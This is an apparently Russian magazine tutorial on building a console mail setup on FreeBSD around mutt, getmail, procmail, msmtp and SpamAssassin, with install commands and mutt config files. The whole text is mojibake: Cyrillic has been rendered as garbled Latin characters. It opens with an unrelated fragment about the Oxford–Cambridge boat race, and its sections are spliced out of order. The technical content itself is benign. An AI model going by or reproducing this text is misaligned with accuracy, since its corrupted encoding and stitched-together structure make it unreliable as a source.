ñòóäåíòîâ çàâîåâàëè ãîíêè íà áàéäàðêàõ. Â 1829 ãîäó ñòóäåíò Êåìá-
ðèäæà ×àðëüç Ìåðèâåëü âûçâàë ñâîåãî ïðèÿòåëÿ èç Îêñôîðäà ×àðëü-
çà Âîðäçâîðñà íà äðóæåñêîå ñîñòÿçàíèå ïî ãðåáëå. Íî, ïðîèãðàâ â
ýòîì ãîäó, îí ïîïûòàëñÿ âçÿòü ðåâàíø â ñëåäóþùåì. Íà ýòîò ðàç åìó
óäàëîñü ïîáåäèòü, à ñîðåâíîâàíèå ñòàëî åæåãîäíûì, ïîëó÷èâøèì ïî-
ïóëÿðíîñòü íå òîëüêî ñðåäè ñòóäåíòîâ äâóõ âóçîâ, íî è âñåõ æèòåëåé
Âåëèêîáðèòàíèè, êîòîðûå ñ óäîâîëüñòâèåì ñìîòðÿò åãî ïî BBC. Íà
ïðîòÿæåíèè ìíîãèõ ëåò êîìàíäû îáìåíèâàëèñü ïîáåäàìè è ïîðàæå-
íèÿìè, çàùèòèòü ÷åñòü óíèâåðñèòåòà ñòàëî ïðèíöèïèàëüíûì äëÿ
ñïîðòñìåíîâ. Ê ýòîìó âðåìåíè ñ÷åò ñîñòàâëÿåò 78�72 â ïîëüçó Êåìá-
ðèäæà è òùàòåëüíî âåäåòñÿ ñïîðòèâíûì êîìèòåòîì.
Ëó÷øèõ ñïîðòñìåíîâ èç Îêñôîðäà è Êåìáðèäæà, êîòîðûå õîðîøî ïðîÿâèëè
ñåáÿ â ñïîðòèâíîé áîðüáå, íàãðàæäàþò ïî÷åòíûì çâàíèåì «Ñèíèé». Ñèíèì,
çà èõ çàñëóãè, âðó÷àþò îäåæäó ñèíåãî öâåòà: îò øàðôîâ äî ãàëñòóêîâ. Íî
âûñøåé íàãðàäîé ñ÷èòàåòñÿ ñèíÿÿ êóðòêà � ñèìâîë òîãî, ÷òî òû ñðåäè ëó÷-
øèõ. Íåñìîòðÿ íà òî, ÷òî ñèíèé öâåò ïðèíÿò äëÿ ïîîùðåíèÿ ñïîðòñìåíîâ â
îáîèõ âóçàõ, îòòåíêè èõ îòëè÷àþòñÿ. Â Îêñôîðäå � òåìíî-ñèíèé, â Êåìá-
ðèäæå � ñâåòëî-ñèíèé. Îïðåäåëåíèåì è íàãðàæäåíèåì ëó÷øèõ ñïîðòñìå-

Cambridge
university

ñïîðòèâíàÿ êîìàíäà «Ñèíèõ» èç Êåìáðèäæà
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[èíãðåäèåíòû] Äëÿ ïðèãîòîâëåíèÿ íàøåé ïî÷òîâîé ïîëüçîâàòåëüñêîé ñèñ-
òåìû íàì ïîíàäîáÿòñÿ ñëåäóþùèå êîìïîíåíòû: mutt, getmail, procmail, spa-
massassin, msmtp, à òàêæå vim, gnupg, antiword è mairix � ïî âêóñó. ß èñïîëü-
çóþ FreeBSD, ïîýòîìó âåñü ñîôò áóäåì ñòàâèòü èç ïîðòîâ. Ðàçóìååòñÿ, íåò-
ðóäíî ñïðîåöèðîâàòü ïðîöåññ óñòàíîâêè è íà òâîé ëþáèìûé äèñòðèáóòèâ.
Mutt � ïðåâîñõîäíûé êîíñîëüíûé ïî÷òîâûé êëèåíò, ñïîñîáíûé òâîðèòü
ñ ïèñüìàìè íåâåðîÿòíûå âåùè. Ðàñïèñûâàòü âñå åãî äîñòîèíñòâà íå
èìååò ñìûñëà, äîñòàòî÷íî ñêàçàòü, ÷òî ýòî ñàìûé ïîïóëÿðíûé MUA ñðå-
äè ðàçðàáîò÷èêîâ èç opensource-ñîîáùåñòâà, êåðíåë-õàêåðîâ è ïðîñòî
êðóòûõ þíèêñîèäîâ ;-). Ìû áóäåì ñòàâèòü åãî devel-âåðñèþ 1.5.õ («ñòà-
áèëüíàÿ» âåòêà èìååò ñåé÷àñ íîìåð 1.4.õ), êîòîðàÿ èìååò òàêèå ïðåèìó-
ùåñòâà, êàê ñêîðîñòü ðàáîòû, ïîääåðæêó SMIME-ðàñøèðåíèé (1.4.õ óìå-
åò òîëüêî PGP-øèôðîâàíèå), è â òî æå âðåìÿ äîñòàòî÷íî ñòàáèëüíà. Ìû
íàó÷èì mutt ÷èòàòü news-êîíôåðåíöèè.

# cd /usr/ports/mail/mutt-devel
# make WITH_MUTT_MAILDIR_MTIME_PATCH=yes
WITH_MUTT_NNTP=yes WITH_MUTT_IMAP_HEADER_CACHE=yes
WITH_MUTT_MAILDIR_HEADER_CACHE=yes
WITH_MUTT_EDIT_THREADS=yes install clean

Êàê âèäíî, âìåñòî òðàäèöèîííîãî mbox ÿ ñîáèðàþñü èñïîëüçîâàòü
Maildir-ôîðìàò ïî÷òîâîãî ÿùèêà. Äëÿ ìåíÿ îñíîâíûì ïðåèìóùåñòâîì
Maildir ÿâëÿåòñÿ ôîðìàò «îäíî ïèñüìî � îäèí ôàéë».
Getmail � ïðîãðàììà äëÿ äîñòàâêè ïî÷òû ñ óäàëåííûõ POP3/IMAP-ñåð-
âåðîâ ñ ìíîæåñòâîì óäîáñòâ è ïðèÿòíîñòåé (ïîääåðæêà SSL, äîñòàâêà â
Maildir-style ÿùèêè, äîêà÷êà ñîîáùåíèé ïîñëå ðàçðûâà ñåññèè è ò.ï.), íà-
ïèñàííàÿ íà Ïèòîíå. Áîëåå ïîïóëÿðíûé âàðèàíò � fetchmail.

# cd /usr/ports/mail/getmail
# make install clean

Òàêæå íàì íå îáîéòèñü áåç procmail. Îíà áóäåò îáðàáàòûâàòü, ìîäèôè-
öèðîâàòü (åñëè íóæíî) è âûïîëíÿòü ñîðòèðîâêó ñîîáùåíèé ïî ïàïêàì.

# cd /usr/ports/mail/procmail
# make install clean

Msmtp � ýòî ëåãêîâåñíûé ïî÷òîâûé àãåíò, ñîçäàííûé äëÿ ìàøèí, íà êî-
òîðûõ íåò çàïóùåííîãî SMTP-äåìîíà. Èñòîðè÷åñêè (òàê ñêàçàòü, by
design) ïîäðàçóìåâàåòñÿ, ÷òî íà êàæäîé *nix-ìàøèíå ðàáîòàåò ïî÷òîâûé
ñåðâåð (õîòÿ áû äëÿ îáðàáîòêè ëîêàëüíûõ îò÷åòîâ àäìèíèñòðàòîðó, ñì.
periodic(8)), íàñòðîåííûé, ïðè íåîáõîäèìîñòè, íà ðåëåé «âíåøíåãî» ïî÷-
òîâèêà. Íî ÷àñòî íà desktop-ìàøèíàõ ýòî ñîâñåì íå òàê: periodic tasks óáè-
ðàþò èç crontab(5), à ïî÷òîâûé ñåðâåð âûêëþ÷àþò. Â ýòîì ñëó÷àå âìåñòî
sendmail ìîæíî èñïîëüçîâàòü msmtp, êîòîðûé èìååò ïîääåðæêó SMTP-àâ-
òîðèçàöèè, TLS, ìíîæåñòâà àêêàóíòîâ, íî ïðè ýòîì íå âûñòóïàåò â ðîëè
ïîëíîöåííîãî MTA (íå ñëóøàåò ïîðò è íå ïðèíèìàåò ñîåäèíåíèÿ).

# cd /usr/ports/mail/msmtp
# make WITH_OPENSSL=yes install clean

Ñî ñïàìîì ìîæíî áîðîòüñÿ ðàçíûìè ñïîñîáàìè, íî åñëè òû ïîëüçîâà-
òåëü, à íå àäìèí ïî÷òîâîãî ñåðâåðà, òî äëÿ òåáÿ îñòàåòñÿ îäèí ïóòü �
SpamAssassin. Îí èñïîëüçóåò òåêñòîâûå àíàëèçàòîðû è black-ëèñòû äëÿ
îïðåäåëåíèÿ ñïàìà.

Ïî÷òîâàÿ ñèñòåìà â ñòèëå UNIX-way

×ÒÎ ÒÒÀÊÎÅ UUNIX-WWAY?
Âîïðîñ ýòîò èç ðàçðÿäà ôèëîñîôñêèõ. È íå ñòîèò â êîìïà-
íèè ôàíàòè÷íûõ þíèêñîèäîâ ïîäíèìàòü íà îáñóæäåíèå
òåìó âðîäå «ïðàâäà ëè, ÷òî perl � ýòî íå UNIX-way» :).
Òåõíè÷åñêè æå � ýòî òî, íà ÷åì îñíîâàíà âñÿ ðàáîòà â
êëàññè÷åñêîì UNIX: êîãäà äëÿ êàæäîé êîíêðåòíîé çàäà÷è
ñóùåñòâóåò îäíà ìàëåíüêàÿ ïðîãðàììà, íè÷åãî áîëüøå íå
óìåþùàÿ, çàòî âûïîëíÿþùàÿ ñâîþ ðàáîòó íà âñå ñòî.
Ãèáêîñòü è ñèëà ïðîÿâëÿþòñÿ â ñîåäèíåíèè ýòèõ ïðîã-
ðàìì, íàïðèìåð, ÷åðåç êàíàëû (pipes), êîãäà âûâîä îäíîé
êîìàíäû ïîäàåòñÿ íà ââîä äðóãîé. Íàïðèìåð, åñëè ÿ õî÷ó
ïîñ÷èòàòü, ñêîëüêî ÷åëîâåê çàïðîñèëî îïðåäåëåííûé
ôàéë ñ ñåðâåðà ïî http, ÿ íàáèðàþ êîìàíäó:

# cat /var/log/httpd-access.log | grep 46664.mpg | awk '{print
$1}' | sort | uniq | wc -l
200

Â ýòîé ïðîñòîé êîìàíäå çàäåéñòâîâàíî 6 óòèëèò. Â *nix-
ñèñòåìå èõ ñîòíè, êàæäàÿ äåëàåò ÷òî-òî ñâîå è èìååò îã-
ðîìíîå êîëè÷åñòâî îïöèé, òàê ÷òî ìîæíî ïðåäñòàâèòü, îò-
êóäà áåðåòñÿ òà ïðåñëîâóòàÿ ãèáêîñòü ðàáîòû â *nix. Ãèá-
êîñòü óâåëè÷èâàåòñÿ òàêæå è êëàññè÷åñêîé þíèêñîâîé ïà-
ðàäèãìîé «âñå � ôàéë», êîãäà ëþáàÿ ïðèêëàäíàÿ çàäà÷à
ñâîäèòñÿ, ïî ñóòè, ê ðàáîòå ñ òåêñòîâûìè ôàéëàìè ñ ïî-
ìîùüþ âûøåîçíà÷åííûõ óòèëèò.

ÄËß ×ÅÃÎ, ÏÎ-ÒÂÎÅÌÓ, ÏÐÅÄÍÀÇÍÀ×ÅÍ ÏÎ×-
ÒÎÂÛÉ ÊËÈÅÍÒ? ÏÐÀÂÈËÜÍÎ, ×ÈÒÀÒÜ ÏÎ×ÒÓ.
À ÒÛ ÍÈÊÎÃÄÀ ÍÅ ÇÀÄÓÌÛÂÀËÑß, ÏÎ×ÅÌÓ
ÂÑÅ ÑÎÂÐÅÌÅÍÍÛÅ MUA (OUTLOOK EXPRESS,
THUNDERBIRD, SYLPHEED), ÊÐÎÌÅ ÂÛÏÎËÍÅ-
ÍÈß ÑÂÎÈÕ ÍÅÏÎÑÐÅÄÑÒÂÅÍÍÛÕ ÇÀÄÀ×,
ÅÙÅ È ÑÎÐÒÈÐÓÞÒ ÏÎ×ÒÓ, ÏÎËÓ×ÀÞÒ È ÎÒÏ-
ÐÀÂËßÞÒ ÏÈÑÜÌÀ, ÎÁÐÀÁÀÒÛÂÀÞÒ ÑÏÀÌ, 
Â ÎÁÙÅÌ, ÇÀÍÈÌÀÞÒÑß ÂÑÅÌ, ×ÅÌ ÓÃÎÄÍÎ,
ÐÀÇÂÅ ×ÒÎ ÊÎÔÅ ÍÅ ÂÀÐßÒ? ÒÀÊ ÓÆ ÏÎÂÅ-
ËÎÑÜ Â ÑÎÂÐÅÌÅÍÍÎÌ ÌÈÐÅ «ÄÐÓÆÅËÞÁ-
ÍÛÕ Ê ÏÎËÜÇÎÂÀÒÅËÞ» ÑÈÑÒÅÌ, ×ÒÎ ÂÑÅ
ÑÂßÇÀÍÍÎÅ Ñ ÎÏÐÅÄÅËÅÍÍÛÌ ÊÐÓÃÎÌ ÇÀ-
ÄÀ×À (Â ÍÀØÅÌ ÑËÓ×ÀÅ � Ñ ÏÎ×ÒÎÉ) ÄÅËÀ-
ÅÒ ÎÄÍÀ ÁÎËÜØÀß ÏÐÎÃÐÀÌÌÀ. È ÏÎËÜÇÎ-
ÂÀÒÅËÜ ÄÀÆÅ ÍÅ ÇÀÄÓÌÛÂÀÅÒÑß, ×ÒÎ ÒÅÌ
ÑÀÌÛÌ ÑÈËÜÍÎ ÑÅÁß ÎÃÐÀÍÈ×ÈÂÀÅÒ. ÇÀ-
×ÅÌ, ÍÀÏÐÈÌÅÐ, ÌÍÅ ÄÅÐÆÀÒÜ ÝÒÓ ÏÐÎÃ-
ÐÀÌÌÓ ÇÀÏÓÙÅÍÍÎÉ, ÅÑËÈ ß ÕÎ×Ó ÂÑÅÃÎ
ËÈØÜ ÀÂÒÎÌÀÒÈ×ÅÑÊÈ ÇÀÁÈÐÀÒÜ ÍÎÂÓÞ
ÏÎ×ÒÓ Ñ ÑÅÐÂÅÐÀ. ÈËÈ ÀÂÒÎÌÀÒÈ×ÅÑÊÈ ÏÅ-
ÐÅÑÛËÀÒÜ ÎÏÐÅÄÅËÅÍÍÛÅ ÑÎÎÁÙÅÍÈß ÍÀ
ÄÐÓÃÎÉ ßÙÈÊ. ÈËÈ ÎÒÏÐÀÂËßÒÜ ÏÎ×ÒÓ ÍÅ
ÑÐÀÇÓ, À Â ÎÏÐÅÄÅËÅÍÍÎÅ ÂÐÅÌß. Ê
Ñ×ÀÑÒÜÞ, ÅÑÒÜ ÏÓÒÜ, ÑÏÎÑÎÁÍÛÉ ÎÑÂÎÁÎ-
ÄÈÒÜ ÍÀÑ ÎÒ ÐÀÌÎÊ ÎÄÍÎÉ ÏÐÎÃÐÀÌÌÛ. È
ÈÌß ÅÌÓ � UNIX-WAY| Anton Karpov <toxa@toxahost.ru>



îïåðàöèþ, ñ îòìå÷åííûì ïî óìîë÷àíèþ çíà÷åíèåì yes èëè no. Äîïóñòèìî òàê-
æå èñïîëüçîâàíèå êîíñòðóêöèé âèäà unset value è set value, êîãäà ïîäðàçóìåâà-
åòñÿ no èëè yes. Íàïðèìåð, "set quit=ask-yes" îçíà÷àåò çàïðîñ ïîäòâåðæäåíèÿ íà
âûõîä èç mutt (ïî íàæàòèþ êëàâèøè q), ïî óìîë÷àíèþ (åñëè íè÷åãî íå ââîäèòü
â îòâåò íà çàïðîñ) áóäåò ñ÷èòàòüñÿ îòâåò yes. Â äîïîëíèòåëüíûå êîíôèãè ìû
âûíåñåì íàñòðîéêó çàãîëîâêîâ ïèñåì, ïðèâÿçîê êëàâèø ê äåéñòâèÿì, íàñòðîé-
êó îáðàáîò÷èêîâ ñîáûòèé («õóêîâ»), PGP è öâåòîâûõ îôîðìëåíèé (òåì).
Ñíà÷àëà ìû îïðåäåëèì çàãîëîâêè, êîòîðûå áóäóò ïîäñòàâëÿòüñÿ â ïèñüìî,
è çàãîëîâêè, êîòîðûå áóäóò âûâîäèòüñÿ â êëèåíòå ïðè ïðîñìîòðå ïèñåì.

$ vi ~/.mutt/headers.mutt

# âûêëþ÷àåì äåôîëòíûé ïîðÿäîê ïðåäñòàâëåíèÿ çàãîëîâêîâ
ignore *

# âêëþ÷àåì òîëüêî èíòåðåñóþùèå íàñ ïîëÿ
unignore Bcc Cc Date From Mailing-List Newsgroups Organization
Reply-To Subject To User-Agent X-Mailer X-Spam-Status X-Qmail-
Scanner X-Spam

# îïðåäåëÿåì ïîðÿäîê èõ âûâîäà íà ýêðàí
hdr_order Date From: To Cc Reply-To Subject User-Agent X-Mailer 
X-Spam-Status X-Qmail-Scanner X-Spam

# îïðåäåëÿåì SMTP-çàãîëîâêè ïèñåì, êîòîðûå áóäóò ïîäñòàâëÿòüñÿ
â íàøè ñîîáùåíèÿ
my_hdr From: "Anton A. Karpov" <toxa@toxahost.ru>
my_hdr X-Comment-To: "Anton A. Karpov"
my_hdr User-Agent: Outluck Express 1.5.6i for MS-DOS 6.22-SMP
my_hdr X-Mailer: See User-Agent above :)
my_hdr X-Operating-System: MS-DOS 6.22-CURRENT on Sony VAIO laptop
my_hdr X-PGP-Public-Key: http://www.toxahost.ru/gpg/pubkey.asc
my_hdr X-Useless-Header: Do Androids Dream of Electric Sheep?

Õóêè � îäèí èç ìîùíûõ áîíóñîâ mutt. Ñ ïîìîùüþ óñëîâèé ìîæíî ïåðå-
îïðåäåëÿòü óêàçàííûå ðàíåå îïöèè, ïðèâÿçûâàòü èõ, íàïðèìåð, ê èìåíè
ïîëó÷àòåëÿ è ò.ï.

[$ vi ~/.mutt/hooks.mutt]

# äàííûé õóê ìåíÿåò çàãîëîâîê From â ñëó÷àå, åñëè ïîëó÷àòåëü ïèñü-
ìà èìååò àäðåñ âèäà <name>@real.xakep.ru
send-hook '~t @real\.xakep\.ru' 'my_hdr From: Anton Karpov
<toxa@real.xakep.ru>'

# à ýòîò õóê âêëþ÷àåò pgp-øèôðîâàíèå (ïî óìîë÷àíèþ ÿ íå øèôðóþ
ïèñüìà), åñëè ïîëó÷àòåëü � putin@gov.ru
send-hook '~t ^putin@gov\.ru$' 'set pgp_autoencrypt'

# cd /usr/ports/mail/p5-Mail-SpamAssassin
# make install clean

Åñëè òû õî÷åøü çàùèòèòü ñâîþ ïåðåïèñêó èëè, ïî êðàéíåé ìåðå, ïðîâå-
ðÿòü/ïîäòâåðæäàòü àóòåíòè÷íîñòü ñîîáùåíèé, òåáå ïîíàäîáèòñÿ GnuPG.

# cd /usr/ports/security/gnupg
# make install clean

Çàáåãàÿ âïåðåä, ñêàæó, ÷òî mutt óìååò îòîáðàæàòü âëîæåíèÿ íè÷óòü íå
õóæå, ÷åì The BAT'û è Outlook'è, âûçûâàÿ ñòîðîííèå ïðîãðàììû äëÿ îá-
ðàáîòêè àòòà÷à â çàâèñèìîñòè îò åãî MIME-òèïà. Òàê, äëÿ ïðîñìîòðà M$
Word-ôàéëîâ íàì ïîíàäîáèòñÿ antiword � ïî ñóòè, ïðåîáðàçîâàòåëü
.doc â .txt:

# cd /usr/ports/textproc/antiword
# make install clean

Íèêàê íå îáîéòèñü è áåç ïîèñêà ïî áåçäîííûì ïàïêàì ïî÷òîâîãî ÿùèêà.
Â Maildir'å î÷åíü õîðîøî èùåò mairix. Óòèëèòà ñîçäàåò âèðòóàëüíóþ ïàï-
êó, â êîòîðóþ ñêëàäûâàåò ðåçóëüòàòû ïîèñêà. Î÷åíü óäîáíî.

# cd /usr/ports/mail/mairix
# make install clean

Íó è, ðàçóìååòñÿ, ñî÷èíÿòü ïèñüìà ìû áóäåì â ñâîåì ëþáèìîì òåêñòî-
âîì ðåäàêòîðå. Ýòî äåëî ëè÷íîãî âêóñà êàæäîãî. ß èñïîëüçóþ vim.

[ãîòîâèì!] Ñîáðàâ è ðàçëîæèâ ïî ïîëêàì èíãðåäèåíòû, íà÷èíàåì ãîòî-
âèòü. Íà÷íåì c «îñíîâû îñíîâ» � êîíôèãóðàöèîííîãî ôàéëà Mutt. Ñà-
ìûé ðàñïðîñòðàíåííûé ìåòîä � çàíåñòè âñå îïöèè â êîíôèã ~/.muttrc.
Ýòî íåóäîáíî ïî íåñêîëüêèì ïðè÷èíàì, ãëàâíàÿ èç êîòîðûõ � êàê ñëå-
äóåò íàñòðîåííûé mutt èìååò êîíôèã ðàçìåðîì â íåñêîëüêî äåñÿòêîâ
êèëîáàéò, èñêàòü è ïðàâèòü íóæíóþ îïöèþ â ýòîì ñëó÷àå íå ñàìîå âåñå-
ëîå ðàçâëå÷åíèå. ß ïðåäïî÷èòàþ ëîãè÷åñêè ðàçäåëèòü íàñòðîéêó êëèåí-
òà íà íåñêîëüêî êîíôèãîâ è ïîäêëþ÷àòü èõ â ãëàâíûé ôàéë. Â ýòîì ñëó-
÷àå óäîáíåå ñîçäàòü ïàïêó ~/.mutt, à â íåé � muttrc (áåç òî÷êè).
Íàñòðîéêà mutt � äëèòåëüíûé, íî ïðèÿòíûé ïðîöåññ :). Ïî÷èòûâàÿ äîêó-
ìåíòàöèþ, òû îòêðûâàåøü äëÿ ñåáÿ âñå íîâûå îïöèè, è âñå áîëüøå íàñò-
ðàèâàåøü êëèåíò ïî ñâîåìó âêóñó. Òå æå, êòî íå ëþáèò ÷èòàòü äîêóìåí-
òàöèþ, ìîãóò íàéòè íà íàøåì äèñêå ïîëíîñòüþ îòòî÷åííûå êîíôèãè, êî-
òîðûìè ÿ ïîëüçóþñü êàæäûé äåíü. Çäåñü æå ïðèâåäó îñíîâíûå îïöèè  ñ
êîììåíòàðèÿìè, áåç êîòîðûõ íå îáîéòèñü.
Ñèëà mutt � â åãî êîíôèãàõ. Ñèíòàêñèñ îñíîâíîãî êîíôèãóðàöèîííîãî ôàéëà
èìååò âèä: set name[=value]. Ýòîò êîíôèã áóäåò ñîäåðæàòü òîëüêî ãëàâíûå îï-
öèè, êîòîðûå âðÿä ëè ïðèäåòñÿ ÷àñòî ìåíÿòü. Ïåðåìåííàÿ name, â çàâèñèìîñ-
òè îò îïöèè, ìîæåò áûòü ñòðîêîé, ëèáî ïåðåìåííîé âèäà yes|no, à òàêæå 
ask-[yes|no], â ýòîì ñëó÷àå êëèåíò áóäåò çàïðàøèâàòü ïîäòâåðæäåíèå íà 
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ÐÀÇÁÈÐÀÅÌÑß ÑÑ ÒÒÅÐÌÈÍÎËÎÃÈÅÉ
Ïî÷òîâûé êëèåíò ñîêðàùåííî íàçûâàþò MUA (Mail User Agent).
Ïî àíàëîãèè ïî÷òîâûé ñåðâåð íàçûâàþò MTA (Mail Transfer
Agent). Ïðîãðàììà æå, çàíèìàþùàÿñÿ äîñòàâêîé ïî÷òû îò ñåð-
âåðà êëèåíòó (íî íå îáðàáîòêîé, íè ÷òåíèåì, íè, òåì áîëåå,
ñîñòàâëåíèåì ïèñåì), íàçûâàåòñÿ MDA � Mail Delivery Agent.

Áóäü âíèìàòåëåí, óáèðàÿ èç crontab âñå çàïóñêè periodic. Âçãëÿ-
íè íà ñêðèïòû â /etc/periodic: ïîìèìî ñîñòàâëåíèÿ îò÷åòîâ ðóòó,
ðåãóëÿðíî âûïîëíÿþòñÿ òàêèå âåùè, êàê îáíîâëåíèÿ áàçû äëÿ
locate(1). Áåçäóìíî óäàëÿÿ âñå ïîäðÿä, ìîæíî, íàïðèìåð, 
ëèøèòü ñåáÿ ñâåæåé locate.database.

ñõåìà âçàèìîäåéñòâèÿ êîìïîíåíòîâ ïî÷òîâîé ñèñòåìû mutt â ðåæèìå ïðîñìîòðà ïèñåì



Ìíå íå íðàâÿòñÿ ñî÷åòàíèÿ êëàâèø ïî óìîë÷àíèþ. Ïëþñ ê ýòîìó, ÿ õî÷ó
ïîâåñèòü ñâîè õîòêåè íà ÷àñòî âûïîëíÿåìûå îïåðàöèè.

$ vi ~/.mutt/bindings.mutt

# ïî óìîë÷àíèþ ÿ èñïîëüçóþ ñâîé ñåðâåð äëÿ îòïðàâêè ïèñåì, íî
ïðè íàæàòèè â êëèåíòå ñî÷åòàíèÿ <Esc-4>, smtp-àêêàóíò äëÿ îòïðàâ-
êè ïèñåì áóäåò ìåíÿòüñÿ íà gmail'îâñêèé:
macro generic "<esc>4" ":set sendmail=\"/usr/local/bin/msmtp -a gmail\""

# ïåðåìåùàòüñÿ ïî ñîîáùåíèÿì êëàâèøàìè UP è DOWN
bind pager <UP> previous-page
bind pager <DOWN> next-page

# ïðè íàæàòèè êëàâèøè 'S' â îêíå ïðîñìîòðà ïèñåì âûçûâàåòñÿ íà-
ïèñàííûé ìíîé ñêðèïò, êîòîðûé ïîäñ÷èòûâàåò êîëè÷åñòâî ïèñåì âî
âñåõ ÿùèêàõ
macro index S "!~/.mutt/scripts/msgnum.sh\r"

# ïðè íàæàòèè G â îêíå ïðîñìîòðà ïèñåì, ñîîáùåíèÿ, èëè îòïðàâêå
ïèñüìà, áóäåò âûçûâàòüñÿ ïðîãðàììà ïîëó÷åíèÿ ïî÷òû
macro pager G "!getmail\r"
macro browser G "!getmail\r"
macro index G "!getmail\r"

# íàæàòèå Z íà îòìå÷åííîì ïèñüìå, êîòîðîå ïðîñêî÷èëî ñïàì-
ôèëüòð, «îáó÷èò» SpamAssassin, ÷òîáû â äàëüíåéøåì îíî îïðåäå-
ëÿëîñü êàê ñïàì.
macro index z "|sa-learn --no-sync --spam\n"

# ïî ñî÷åòàíèþ êëàâèø ïåðåõîäèòü â ñîîòâåòñòâóþùèå ïàïêè
macro index ",f" "c=freebsd-list"
macro index ",o" "c=obsd-list""

Mutt ìîæåò áûòü ïîëíîñòüþ ïåðåêðàøåí âî âñå öâåòà ðàäóãè. Íå áóäó ïðè-
âîäèòü çäåñü îïèñàíèå öâåòîâîé ñõåìû, íà äèñêå òû íàéäåøü ôàéë ñ òåìîé
toxapaint, ãäå ïîëíîñòüþ ðàñïèñàíû âñå ýëåìåíòû îôîðìëåíèÿ êëèåíòà.

$ vi ~/.mutt/themes/mytheme

Íàñòðîéêè GnuPG ëó÷øå âñåãî âçÿòü èç ïðèìåðà, âõîäÿùåãî â äîêóìåí-
òàöèþ. Îíè âïîëíå ðàçóìíû è òðåáóþò èçìåíåíèé â ðåäêèõ ñëó÷àÿõ.

$ vi ~/.mutt/gpg.mutt

Òåïåðü ïåðåéäåì ê îñíîâíîìó êîíôèãóðàöèîííîìó ôàéëó.

$ vi ~/.mutt/muttrc

# ïîäêëþ÷àåì íàïèñàííûå ðàíåå êîíôèãè
source ~/.mutt/headers.mutt
source ~/.mutt/hooks.mutt
source ~/.mutt/bindings.mutt
source ~/.mutt/gpg.mutt
source ~/.mutt/themes/mytheme

# íèæåñëåäóþùèå îïöèè ìû íå âûíîñèì â îòäåëüíûå ôàéëû, 
õîòÿ ó ýêñòðåìàëîâ muttrc ñîñòîèò èç îäíèõ source-âêëþ÷åíèé

# ãðóïïà îïöèé, îòâå÷àþùàÿ çà êîäèðîâêó ïèñåì
set charset=koi8-r
set send_charset="koi8-r"
set allow_8bit=yes

# à ýòî êàñàåòñÿ çàãîëîâêîâ è ðåäàêòîðà
set use_from=no
set envelope_from=no
set attribution="On %d, %n wrote:"
set editor="vim +':set textwidth=72' %s"

# óäàëÿòü ïèñüìà áåç ïîäòâåðæäåíèÿ
set delete=yes
# ñïðàøèâàòü ñîõðàíåíèå êîïèè èñõîäÿùåãî ïèñüìà
set copy=ask-no
# ñïðàøèâàòü ïðè ïå÷àòè ïèñüìà
set print=ask-yes
# âêëþ÷àòü îðèãèíàëüíîå ïèñüìî ïðè îòâåòå (öèòèðîâàíèå)

set include=yes
# óòî÷íÿòü, äåéñòâèòåëüíî ëè òû õî÷åøü âûéòè èç mutt
set quit=ask-yes
# íå ñîåäèíÿòü àòòà÷è â îäèí ôàéë
set attach_split
# ïðè îòâåòå íà ïèñüìî íå ñïðàøèâàòü ïðî ïîëÿ To, CC
set fast_reply
# íå ïîìå÷àòü íåïðî÷èòàííûå ïèñüìà êàê ïðî÷èòàííûå ïîñëå âûõîäà
unset mark_od
# ïîçâîëÿåò ñóñïåíäèòü mutt â øåëëå ñòàíäàðòíûì ñî÷åòàíèåì Ctrl^Z
set suspend
# íå ïèùàòü ;)
unset beep
# íå ñïðàøèâàòü ïðî ïîëå CC ïðè íàïèñàíèè ïèñüìà
set askcc=no
# ïîäïèñü âûâîäèòñÿ êàê ðåçóëüòàò ñêðèïòà
set signature="~/.mutt/scripts/signature|"
# ïðîñìàòðèâàòü ïèñüìà âñòðîåííûì ïåéäæåðîì; ìîæíî óêàçàòü êî-
ìàíäû less|more
set pager=builtin
# íå ïîêàçûâàòü ñëåäóþùåå ïèñüìî ïîñëå òåêóùåãî
set pager_stop
# ìû áåðåì âåðñèþ àãåíòà èç ñàìîïàëüíûõ çàãîëîâêîâ
set user_agent=no

# åñëè òû ñîáðàë mutt ñ ïàò÷åì ïîääåðæêè NNTP, òî äëÿ ÷òåíèÿ íî-
âîñòåé ïîòðåáóþòñÿ ñëåäóþùèå îïöèè:
set news_cache_dir="~/Maildir/nntp"
set news_server="my.news.server"
set newsrc="~/.mutt/news.mutt"
set catchup_newsgroup=ask-yes
set nntp_context=2000
set nntp_load_description=yes
# åñëè ñåðâåð òðåáóåò àâòîðèçàöèè
#set nntp_user=""
#set nntp_pass=""
set nntp_poll=60
set nntp_reconnect=ask-yes

# äàëåå èäåò, ïîæàëóé, ñàìûé âàæíûé ïàðàìåòð. Ïî óìîë÷àíèþ mutt,
êàê êëàññè÷åñêèé þíèêñîâûé ïî÷òîâûé êëèåíò, õî÷åò èñïîëüçîâàòü
ëîêàëüíûé ïî÷òîâûé ñåðâåð, sendmail. Íî ó íàñ íåò òàêîâîãî íà ðàáî-
÷åé ìàøèíå, è ìû èñïîëüçóåì msmtp.
set sendmail="/usr/local/bin/msmtp"

# ñëåäóþùèå îïöèè ïîíàäîáÿòñÿ äëÿ ïîääåðæêè Maildir:
set mbox_type="Maildir"
set spoolfile=~/Maildir/default
set mbox=~/Maildir/default
# çäåñü ñêëàäûâàåòñÿ îòëîæåííàÿ ïî÷òà
set postponed=~/Maildir/postponed
# à çäåñü îòïðàâëåííàÿ
set record=~/Maildir/sent

# ïîìèìî öâåòîâûõ ñõåì, mutt ïîçâîëÿåò ãèáêî íàñòðàèâàòü âûâîä
èíôîðìàöèè î ÿùèêàõ íà òóëáàð. Îïèñàíèå íåñëîæíîãî ñèíòàêñèñà
ìîæíî íàéòè â îôèöèàëüíîé äîêóìåíòàöèè, íî è òàê ÿñíî, ÷òî %d îç-
íà÷àåò êîëè÷åñòâî óäàëåííûõ ïèñåì, à %n � íîâûõ, è ò.ä.
set status_format="%v   [%f] [%m msgs (%l), %n new, %p unsent, %d
deleted]"
set folder_format="%N %F %2l %-8.8u %-8.8g %8s %d %f"
set index_format="%3C %Z %{%b %d} %-20.20L (%?l?%4l&%4c?) %s"

Åùå ðàç ïîâòîðþñü, ÷òî çäåñü îòìå÷åíû íå âñå îïöèè. Òàê, íàïðèìåð,
ïîëíîñòüþ îïóùåíà ðàáîòà ñî ñïèñêàìè ðàññûëêè. Íà äèñêå òû íàéäåøü
ÏÎËÍÛÉ êîìïëåêò ìîèõ ðàáî÷èõ êîíôèãîâ, ïðîâåðåííûõ è îòòà÷èâàå-
ìûõ ãîäàìè, ñî âñåìè êîììåíòàðèÿìè. Àêòóàëüíóþ âåðñèþ êîíôèãîâ
